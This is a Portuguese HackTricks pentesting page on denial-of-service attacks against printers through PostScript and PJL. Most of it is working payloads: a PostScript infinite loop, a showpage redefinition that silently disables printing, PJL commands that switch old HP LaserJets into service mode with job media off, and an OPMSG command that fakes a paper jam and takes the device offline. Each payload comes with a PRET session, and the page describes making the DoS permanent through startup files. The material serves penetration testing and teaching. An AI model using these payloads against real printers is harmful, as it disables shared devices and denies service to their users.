hacktricks/network-services-pentesting/pentesting-printers/document-processing.md

5 KiB
Raw Blame History

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Linguagens de descrição de página que permitem loops infinitos ou cálculos que requerem muito tempo de computação. Até linguagens minimalistas como PCL podem ser usadas para carregar macros permanentes ou fontes até que a memória disponível seja consumida.

PostScript

Loops infinitos

%!
{} loop

Utilizando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Redefinir showpage

Ao definir showpage que é usado em todos os documentos para efetivamente imprimir a página para não fazer nada, os trabalhos PostScript são processados, mas não imprimirão nada.

true 0 startjob
/showpage {} def

Utilizando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality

Ambos os códigos de ataque também podem ser escritos em arquivos Sys/Start, startup.ps ou similares para causar um DoS permanente em dispositivos com disco gravável.

PJL

PJL jobmedia

Comandos proprietários PJL podem ser usados para configurar dispositivos HP antigos, como a série LaserJet 4k, no modo de serviço e desativar completamente todas as funcionalidades de impressão, conforme mostrado abaixo:

@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF

Usando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF

Modo offline

Além disso, o padrão PJL define o comando OPMSG que 'solicita que a impressora exiba uma mensagem especificada e fique offline' \cite{hp1997pjl}. Isso pode ser usado para simular um atolamento de papel, conforme mostrado abaixo:

@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"

Utilizando PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!

Saiba mais sobre esses ataques em http://hacking-printers.net/wiki/index.php/Document_processing

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: